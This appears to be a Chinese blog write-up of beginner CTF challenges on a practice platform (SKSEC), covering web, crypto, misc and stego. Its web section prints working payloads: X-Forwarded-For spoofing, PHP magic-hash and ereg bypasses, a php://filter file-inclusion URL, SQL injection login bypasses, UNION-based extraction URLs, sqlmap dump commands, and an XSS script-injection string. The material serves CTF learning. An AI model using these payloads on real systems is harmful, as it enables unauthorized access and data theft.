SKSEC

CTF

先附上群里大表哥的 总结  wiki

web

1.源代码

直接右击查看源代码即可。

2.HongKong

考察对http的了解,由提示,我们应该让服务器认为我们是从香港登陆的才可以,刚开始以为要改自己的ip,后来了解可以通过修改Accept-Language: zh-CN,zh;改成zh-HK即可,毕竟可以通过语言来判断地方。得到flag。

3.Response

通过抓包得到一个奇怪的字符串666c61677b52657370306e73657d,观察发现最大的为e,猜测某种编码,用火狐的hackbar解密的到flag。

4.Where are you from

还是考察http协议,打开网页后提示Please access the server from the local,http中X-Forwarded-For来获取用户IP地址,把这个添加上X-Forwarded-For:127.0.0.1,得到flag。

5.他是个好人

打开网页以后,只有一句话,查看源码得到提示。PHP还没怎么接触,去查了一下, parese_str有把查询字符串解析到变量中功能,所以说,只要构造出字符串you,解析以后得到he==good即可。在后面加入?you=he=good.访问得到flag。
He is too bad, please save him<br><!--
--- Code ---
echo "He is too bad, please save him";
parse_str($_GET['you']);

if($he == 'good')
{
	echo "Excellect\n";
	echo $flag;
}
-->

6.Burp大法好

考察Burp的简单使用,拦截后得到Cookie: user=admin; guess=999,猜测guess应该是从0到999的数字,爆破一下,即可获得flag。

7.cut!cut!cut!

访问后得到代码,结合 Hint理解,==是比较运算,它不会去检查条件式的表达式的类型===是恒等,它会检查查表达式的值与类型是否相等NULL,0,”0″,array()使用==和false比较时,都是会返回true的,而使用===却不会。
这道题有两种做法,我们还是先说数组 ereg是处理字符串的,所以,按照原理,我们将password构造一个arr[],传入之后,ereg是返回NULL的,===判断NULL和FALSE,是不相等的,所以可以进入第二个判断,而strpos处理数组,也是返回NULL,注意这里的是!==,NULL!==FALSE,条件成立,拿到flag, 第二种做法,ereg读到%00的时候,就截止了,所以可以构造s%00--,也能拿到flag
<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

<section class="login">
        <div class="title">
                <a href="./index.phps">View Source</a>
        </div>

        <form method="POST">
                <input type="text" required name="password" placeholder="Password" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

8.PHPの黑魔法

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){        两个md5相等是可以的
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
php的md5漏洞PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常用的payload:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
php弱类型Hint:php不会严格检验传入的变量类型,也可以将变量自由的转换类型。比如a==b的判断如:a=null b=false时反回的真,a='' b=0; 也会是真。
变量的强制类型转换:
1.数学运算
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true  
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true 

'1assd'的转换后的值是1,而‘asdaf’是0。从第一位不是数字的单位开始进行。

2.函数的松散判断

$a = 'asdfgh';//字符串类型的a</br>
echo $a[2];  //根据php的offset 会输出'd'</br>
echo $a[x];  //根据php的预测,这里应该是int型,那么输入string,就会被intval成为0 也就是输出'a'
总结: 在所有php认为是int的地方输入string,都会被强制转换
数组遇上string: Array转换整型int/浮点型float会返回元素个数; 转换bool返回Array中是否有元素;转换成string返回'Array',并抛出warning。

9.就不给你flag

文件包含漏洞,通过php的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就有可能导致文件泄露,甚至恶意代码注入。
文件包含可以分为普通本地文件包含,有限制的本地文件包含,普通远程文件包含,有限制的远程文件包含。
这个可以构造
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
这样的链接来访问,最后解密就可以了。

10.网络管理员

这个题提示是用python的requests模块,但是百度了一下,发现burpsuite也可以爆破带有简单验证码的登录。 在这里。用单线程宏,必须单线程,多线程会出错,大概是burp会把进程弄混吧。

11.sql注入1

提示里面的源码:
if ($_POST['user'] && $_POST['pass']) {
    $link = mysql_connect('MYSQL_HOST', 'MYSQL_USER', 'MYSQL_PASS');
    if (!$link) {
        die('connect failed!');
    }
    $db = mysql_select_db('MYSQL_DB_NAME', $link);
	$user = trim($_POST['user']);
	$pass = md5(trim($_POST['pass']));
    $sql="select user from ctf where (user='".$user."') and (pass='".$pass."')";
    echo '</br>' . $sql;
    $query = mysql_fetch_array(mysql_query($sql, $link));
    if ($query['user'] == "admin") {
        echo "<p>Logged in! flag:********** </p>";
    }
    if ($query['user'] != "admin") {
        echo ("<p>You are not admin!</p>");
    }
}
echo $query['user'];
这个题考察基本原理,先随便提交一下显示:
select user from ctf where (user='Username') and (pass='dc647eb65e6711e155375218212b3964')
想办法提交并且闭合括号,并且把后面注释掉。把admin')# 提交发现成功。后面先到也可以提交admin') or ('1'='1
select user from ctf where (user='admin')#') and (pass='dc647eb65e6711e155375218212b3964')
select user from ctf where (user='admin') or ('1'='1') and (pass='dc647eb65e6711e155375218212b3964')

12.sql注入2

这个提倡手工注入,不过明白原理以后,用工具更方便一些。
手工注入:

http://192.168.139.150/sql2/sql2.php?id=-1'orderby 2--+    不报错
http://192.168.139.150/sql2/sql2.php?id=-1'orderby 3--+     报错
http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,database()--+    查数据库
http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,group_concat(table_name) from information_schema.tables wheretable_schema='sql2'--+    查表名
http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,group_concat(column_name) from information_schema.columns wheretable_name='f1ag'--+     查列名
http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,flagishere from f1ag --+  查内容

sqlmap:

sqlmap -u"http://" –dbs 查库
sqlmap -u"http://" --table -D "flag" 查表 -D表示数据库参数 -T -C同理。
sqlmap -u "http://"--columns -T "flag" -D "f1ag" 查列
sqlmap -u"http://" --dump -C "f4ag" -T"flag" -D "f1ag" 查内容。

13.xss

网上找一个平台,然后测试,注意闭合!这个题一直没解决就是因为 闭合不对。
</textarea><script src=http://xss></script>

Crypto

密码学前面的几个题目都不难,了解以后就没问题了。

1.base64

简单的base64接码,base64主要特征是由64个字符组成,最后可能有等号,长度是4的整数倍。

2.想翻过栅栏的凯撒

3.培根?肉?

4.最爱颜文字

颜文字这个复制到浏览器控制台运行就可以啦。

5.Base64?

这个题目先用base64解密,然后发现跟base64差不多,不过没有小写字母,猜测是base32,解密后得到flag。
密码学中,对密文多次加密也是另一条出路。

6.啥呢?很简单的

分析密文,发现有两种字符,而且每一小段之间有空格隔开,应该每一小段是一个字符吧,用摩斯密码试一下就成功了。

7.very easy rsa

p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537
求d。
学习了一下rsa算法, 链接1链接2
# coding = utf-8
def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y

def extendedGCD(a, b):
    #a*xi + b*yi = ri
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #ri = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #xi = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #yi = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)

p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537

n = p * q
fn = (p - 1) * (q - 1)

d = computeD(fn, e)
print d
解出来d很长很长,

Misc

1.WTF!这是什么鬼?

提示 jother。百度以后发现,复制到浏览器运行一下就可以啦。

2.J1

先想到用文本打开,搜一下flag得到了一半,后在结尾发现另一半加密的flag,解密以后得到完整的flag。这个很有启发,flag分成两半藏起来。

3.听会儿歌吧

mp3文件,利用 MP3Stego解出来就可以了,这两个题目相似度很高,这篇博客写的很详细了!

4.生日

压缩包有密码,提示是生日,直接上工具ARCHPR暴力破解。

5.你打不开的

提示密码很长,但是用工具解密的时候,提示该文件没有加密,后来了解到 伪加密,可以直接在Linux中打开,也可用ZipCenOp.jar,另外用16进制编辑器改回加 密标记为也可以,不过要先了解压缩文件的结构哦。另外win系统下用7z这个工具也可以直接打开伪加密的文件。

6.一起来吸猫啊

提示明文攻击,还是上工具,很快就破解了。明文攻击就是已经知道加密文件中的部分文件,但是要注意,打包后的crc32也必须相同才能用这种方法解。

7.你知道这是啥吗?

确实,我不知道这是啥,但是百度知道啊,pcap文件是截取的数据包文件,不多说kali里的Wireshark直接打开,很快就能找到flag。

8.notapad里的秘密

这个题目下载的文件是.raw,hint说要用volatility。是一个内存取证分析的题目,另外hint的那个博客已经很详细了命令:
volatility -f 文件名 imageinfo 获取内存类型
volatility -f 文件名 pslist --profile=上一步得到的类型 
本题中发现notepad进程
volatility notepad -f 文件名 --profile= 
得到flag;

9.notepad里的秘密2

常规操作如上一题,hint说flag在flag.txt不过这次用到filescan找到flag.txt,然后dumpfiles把文件弄出来:
volatility -f 文件名  --profile=    dumpfiles --dump-dir目录 -Q地址 最后打开就得到了flag。

PPC

1.CRC32

crc32是一种 crc32碰撞这篇文章讲得很好,里面有个类似的题目,模仿一下解到flag。

2.base64?

用base64解出来有乱码,原来是有一部分base64的大小写不正确。

3.简单编程&4.求素数

这两个简单的编程题不再说了。

Stega

1.图种

哈哈,图种改一下后缀名得到flag。看到一 博客说,这种方法能做什么?除了加密,在一些只允许上传jpg或其他格式的站点上,就可以把其他不允许上传的文件压缩后与jpg文件进行绑定,这样,网站的相册也就成了我们存放文件的工具箱了。果然厉害!

2.word的本质

word的本质是?百度这样说:docx格式的文件本质上是一个ZIP文件。将一个docx文件的后缀改为ZIP后是可以用解压工具打开或是解压的。事实上,Word2007的基本文件就是ZIP格式的,他可以算作是docx文件的容器。docx 格式文件的主要内容是保存为XML格式的,但文件并非直接保存于磁盘。它是保存在一个ZIP文件中,然后取扩展名为docx。将.docx 格式的文件后缀改为ZIP后解压, 可以看到解压出来的文件夹中有word这样一个文件夹,它包含了Word文档的大部分内容。而其中的document.xml文件则包含了文档的主要文本内容。所以改一下文件后缀名,就能得到flag。


慢慢更新,还有好多题没做出来


“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值